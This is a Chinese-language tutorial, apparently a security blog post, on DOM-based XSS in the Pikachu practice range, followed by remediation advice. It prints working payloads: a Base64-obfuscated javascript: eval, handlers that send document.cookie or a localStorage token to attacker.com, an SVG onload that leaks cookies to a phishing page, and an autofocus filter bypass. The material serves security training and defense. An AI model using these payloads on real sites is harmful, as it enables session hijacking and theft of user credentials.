别再只用alert了!用Pikachu靶场实战DOM型XSS的三种高阶攻击手法
在Web安全领域,DOM型XSS攻击因其隐蔽性和多样性,一直是攻防演练的重点。许多安全爱好者止步于简单的alert(1)演示,却忽略了真实攻击中那些精妙的利用手法。本文将带你深入Pikachu靶场,拆解三种高阶DOM型XSS攻击技术,从原理到实战,让你真正掌握攻击者的思维模式。
1. 理解DOM型XSS的核心攻击面
DOM型XSS的特殊之处在于,它完全在客户端发生,不依赖服务器端响应。攻击成功的关键在于找到那些将用户输入直接拼接到DOM操作中的危险函数。在Pikachu靶场的DOM型XSS关卡中,核心漏洞代码是这样的:
function domxss(){ var str = document.getElementById("text").value; document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>"; }这段代码的危险点在于:
- 直接使用
.innerHTML进行DOM操作 - 未对用户输入的
str进行任何过滤或编码 - 将用户输入拼接到了HTML属性(href)中
攻击面矩阵:
| 攻击面类型 | 可利用点 | 风险等级 |
|---|---|---|
| HTML属性注入 | href属性 | 高危 |
| 事件处理器注入 | onclick/onmouseover等 | 高危 |
| HTML标签注入 | 标签嵌套/闭合 | 中高危 |
2. 高阶攻击手法一:href属性中的JavaScript伪协议
最基础的攻击方式是使用javascript:伪协议,但这只是开始。在实际攻击中,我们需要考虑如何绕过可能的过滤:
javascript:eval(atob('YWxlcnQoJ0RPTSBYU1MgU3VjY2VzcyEnKQ=='))这个Payload做了几件事:
- 使用
javascript:协议声明要执行JS代码 - 通过
atob解码Base64字符串 - 最终执行解码后的
alert('DOM XSS Success!')
进阶技巧:
- 使用Base64编码可以绕过简单的关键词过滤
- 可以结合
String.fromCharCode进一步混淆 - 在真实攻击中,这里可能会加载外部恶意脚本
注意:现代浏览器对
javascript:协议的使用有更多限制,但在某些上下文仍然有效
3. 高阶攻击手法二:精心构造的事件处理器注入
比起简单的弹窗,事件处理器注入可以实现更复杂的攻击行为。以下是几种常见的事件处理器利用方式:
' onclick="fetch('https://attacker.com/steal?cookie='+document.cookie)"这个Payload会在用户点击链接时:
- 先闭合href属性
- 添加onclick事件处理器
- 触发时发送用户cookie到攻击者服务器
事件处理器利用矩阵:
| 事件类型 | 触发条件 | 典型攻击用途 |
|---|---|---|
| onmouseover | 鼠标悬停 | 隐蔽触发 |
| onload | 元素加载 | 自动触发 |
| onerror | 加载失败 | 绕过过滤 |
| onfocus | 获取焦点 | 表单攻击 |
一个更隐蔽的例子是利用图片加载错误:
'><img src=x onerror="(new Image).src='http://attacker.com/log?'+localStorage.getItem('token')">4. 高阶攻击手法三:HTML标签嵌套与属性逃逸
最高级的攻击往往涉及对HTML结构的深刻理解。考虑以下Payload:
'><svg/onload="location.href='phishing.html#'+btoa(document.cookie)"><!--这个攻击做了几层突破:
- 闭合前面的a标签
- 插入一个SVG元素(通常过滤较少)
- 利用SVG的onload事件自动触发
- 使用注释符处理后续DOM内容
标签嵌套攻击的防御难点:
- 黑名单过滤很容易被新标签或属性绕过
- 上下文相关的编码规则难以统一应用
- 浏览器对畸形HTML的容错性导致攻击可能成功
5. 从攻击视角看防御策略
理解了这些高阶攻击手法后,我们可以提出更有针对性的防御建议:
防御措施对比表:
| 防御措施 | 优点 | 局限性 |
|---|---|---|
| 输入验证 | 前端体验好 | 容易被绕过 |
| 输出编码 | 可靠性高 | 需考虑上下文 |
| CSP策略 | 深度防御 | 配置复杂 |
| 安全API | 根本解决 | 重构成本高 |
具体到代码层面,修复之前的漏洞应该:
// 不安全的写法 document.getElementById("dom").innerHTML = "<a href='"+str+"'>link</a>"; // 安全的写法 const a = document.createElement('a'); a.href = encodeURI(str); a.textContent = 'link'; document.getElementById('dom').appendChild(a);关键区别在于:
- 避免使用
.innerHTML - 使用专门的属性设置方法
- 对动态值进行编码
6. 实战演练:组合攻击手法
在真实场景中,攻击者往往会组合多种技术。假设目标有一些基础过滤:
- 过滤了
javascript:关键字 - 限制了某些事件处理器
- 对尖括号进行了编码
我们仍然可以构造这样的Payload:
' onfocus=alert`1` autofocus='这个Payload利用了:
- 自动获取焦点触发事件
- 反引号代替括号绕过过滤
- 不需要javascript:协议
- 不依赖鼠标交互
在Pikachu靶场中测试这个Payload,你会发现它成功绕过了许多基础防御措施。
7. 攻击思路的延伸与创新
DOM型XSS的研究远不止这些。近年来出现了一些新颖的攻击思路:
基于DOM Clobbering的攻击: 通过命名元素覆盖全局变量,影响脚本逻辑
基于原型污染的链式利用: 结合JavaScript原型污染漏洞扩大攻击面
基于浏览器特性滥用的攻击: 利用iframe、web messaging等特性进行横向移动
这些高级技术需要更深入的研究,但它们都建立在本文介绍的基础手法之上。理解这些基础,才能更好地掌握进阶技术。